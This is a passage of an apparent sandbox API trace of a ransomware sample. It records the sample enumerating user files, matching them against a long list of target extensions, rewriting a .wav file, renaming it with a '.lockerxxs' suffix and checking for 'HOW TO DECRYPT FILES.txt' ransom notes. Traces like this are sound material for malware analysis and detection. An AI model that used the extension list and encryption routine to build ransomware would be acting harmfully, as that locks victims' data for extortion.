eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.wav") returned 1 [0090.723] lstrlenA (lpString="*.wav") returned 5 [0090.723] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav" [0090.723] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav" [0090.723] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav." [0090.723] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav.lockerxxs" [0090.723] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\fvixt.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.724] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13fc4 [0090.724] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa42351e0, dwHighDateTime=0x1d5dc20), lpLastAccessTime=0x407536*(dwLowDateTime=0x344f0c60, dwHighDateTime=0x1d5e5fd), lpLastWriteTime=0x40753e*(dwLowDateTime=0x344f0c60, dwHighDateTime=0x1d5e5fd)) returned 1 [0090.724] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.724] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13f9e, lpOverlapped=0x0) returned 1 [0090.727] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav") returned="fVIXt.wav" [0090.728] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.728] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13f9e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13f9e, lpOverlapped=0x0) returned 1 [0090.728] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.729] CloseHandle (hObject=0x90) returned 1 [0090.729] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\fvixt.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\fvixt.wav.lockerxxs")) returned 1 [0090.730] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef7bb00, ftCreationTime.dwHighDateTime=0x1d5de6b, ftLastAccessTime.dwLowDateTime=0x9e032460, ftLastAccessTime.dwHighDateTime=0x1d5d9e2, ftLastWriteTime.dwLowDateTime=0x9e032460, ftLastWriteTime.dwHighDateTime=0x1d5d9e2, nFileSizeHigh=0x0, nFileSizeLow=0x11bcb, dwReserved0=0x3c00033f, dwReserved1=0x4e00c4, cFileName="JNYjUM_ko0H1jn J6.wav", cAlternateFileName="JNYJUM~1.WAV")) returned 1 [0090.730] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.730] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="JNYjUM_ko0H1jn J6.wav") returned -1 [0090.730] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="JNYjUM_ko0H1jn J6.wav") returned -1 [0090.730] lstrcmpiA (lpString1="", lpString2="JNYjUM_ko0H1jn J6.wav") returned -1 [0090.730] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav") returned="fVIXt.wav" [0090.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" [0090.730] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="" [0090.730] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" [0090.731] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\how to decrypt files.txt")) returned 0x20 [0090.731] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="JNYjUM_ko0H1jn J6.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav" [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.ems") returned 0 [0090.731] lstrlenA (lpString="*.ems") returned 5 [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.db") returned 0 [0090.731] lstrlenA (lpString="*.db") returned 4 [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.dbf") returned 0 [0090.731] lstrlenA (lpString="*.dbf") returned 5 [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.myox") returned 0 [0090.731] lstrlenA (lpString="*.myox") returned 6 [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.myo") returned 0 [0090.731] lstrlenA (lpString="*.myo") returned 5 [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qbw") returned 0 [0090.731] lstrlenA (lpString="*.qbw") returned 5 [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qbb") returned 0 [0090.731] lstrlenA (lpString="*.qbb") returned 5 [0090.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qbm") returned 0 [0090.732] lstrlenA (lpString="*.qbm") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qbo") returned 0 [0090.732] lstrlenA (lpString="*.qbo") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qbx") returned 0 [0090.732] lstrlenA (lpString="*.qbx") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qba") returned 0 [0090.732] lstrlenA (lpString="*.qba") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qby") returned 0 [0090.732] lstrlenA (lpString="*.qby") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qbj") returned 0 [0090.732] lstrlenA (lpString="*.qbj") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.ofx") returned 0 [0090.732] lstrlenA (lpString="*.ofx") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.qif") returned 0 [0090.732] lstrlenA (lpString="*.qif") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.mye") returned 0 [0090.732] lstrlenA (lpString="*.mye") returned 5 [0090.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.mbox") returned 0 [0090.733] lstrlenA (lpString="*.mbox") returned 6 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.eml") returned 0 [0090.733] lstrlenA (lpString="*.eml") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.pst") returned 0 [0090.733] lstrlenA (lpString="*.pst") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.ost") returned 0 [0090.733] lstrlenA (lpString="*.ost") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.idx") returned 0 [0090.733] lstrlenA (lpString="*.idx") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.dbx") returned 0 [0090.733] lstrlenA (lpString="*.dbx") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.sql") returned 0 [0090.733] lstrlenA (lpString="*.sql") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.mdb") returned 0 [0090.733] lstrlenA (lpString="*.mdb") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.fdb") returned 0 [0090.733] lstrlenA (lpString="*.fdb") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.wab") returned 0 [0090.733] lstrlenA (lpString="*.wab") returned 5 [0090.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.dat") returned 0 [0090.733] lstrlenA (lpString="*.dat") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.txt") returned 0 [0090.734] lstrlenA (lpString="*.txt") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.jpeg") returned 0 [0090.734] lstrlenA (lpString="*.jpeg") returned 6 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.jpg") returned 0 [0090.734] lstrlenA (lpString="*.jpg") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.png") returned 0 [0090.734] lstrlenA (lpString="*.png") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.php") returned 0 [0090.734] lstrlenA (lpString="*.php") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.cs") returned 0 [0090.734] lstrlenA (lpString="*.cs") returned 4 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.cpp") returned 0 [0090.734] lstrlenA (lpString="*.cpp") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.rar") returned 0 [0090.734] lstrlenA (lpString="*.rar") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.zip") returned 0 [0090.734] lstrlenA (lpString="*.zip") returned 5 [0090.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.html") returned 0 [0090.735] lstrlenA (lpString="*.html") returned 6 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.htm") returned 0 [0090.735] lstrlenA (lpString="*.htm") returned 5 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.xlsx") returned 0 [0090.735] lstrlenA (lpString="*.xlsx") returned 6 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.xls") returned 0 [0090.735] lstrlenA (lpString="*.xls") returned 5 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.mp4") returned 0 [0090.735] lstrlenA (lpString="*.mp4") returned 5 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.ppt") returned 0 [0090.735] lstrlenA (lpString="*.ppt") returned 5 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.pptx") returned 0 [0090.735] lstrlenA (lpString="*.pptx") returned 6 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.doc") returned 0 [0090.735] lstrlenA (lpString="*.doc") returned 5 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.dot") returned 0 [0090.735] lstrlenA (lpString="*.dot") returned 5 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.docx") returned 0 [0090.735] lstrlenA (lpString="*.docx") returned 6 [0090.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.7z") returned 0 [0090.735] lstrlenA (lpString="*.7z") returned 4 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.tar") returned 0 [0090.736] lstrlenA (lpString="*.tar") returned 5 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.bz2") returned 0 [0090.736] lstrlenA (lpString="*.bz2") returned 5 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.gz") returned 0 [0090.736] lstrlenA (lpString="*.gz") returned 4 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.mkv") returned 0 [0090.736] lstrlenA (lpString="*.mkv") returned 5 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.eml") returned 0 [0090.736] lstrlenA (lpString="*.eml") returned 5 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.msg") returned 0 [0090.736] lstrlenA (lpString="*.msg") returned 5 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.edb") returned 0 [0090.736] lstrlenA (lpString="*.edb") returned 5 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.accdb") returned 0 [0090.736] lstrlenA (lpString="*.accdb") returned 7 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.odb") returned 0 [0090.736] lstrlenA (lpString="*.odb") returned 5 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.java") returned 0 [0090.736] lstrlenA (lpString="*.java") returned 6 [0090.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.asm") returned 0 [0090.737] lstrlenA (lpString="*.asm") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.pfx") returned 0 [0090.737] lstrlenA (lpString="*.pfx") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.pem") returned 0 [0090.737] lstrlenA (lpString="*.pem") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.p12") returned 0 [0090.737] lstrlenA (lpString="*.p12") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.gpg") returned 0 [0090.737] lstrlenA (lpString="*.gpg") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.vsd") returned 0 [0090.737] lstrlenA (lpString="*.vsd") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.odg") returned 0 [0090.737] lstrlenA (lpString="*.odg") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.raw") returned 0 [0090.737] lstrlenA (lpString="*.raw") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.nef") returned 0 [0090.737] lstrlenA (lpString="*.nef") returned 5 [0090.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.svg") returned 0 [0090.738] lstrlenA (lpString="*.svg") returned 5 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.psd") returned 0 [0090.738] lstrlenA (lpString="*.psd") returned 5 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.vmx") returned 0 [0090.738] lstrlenA 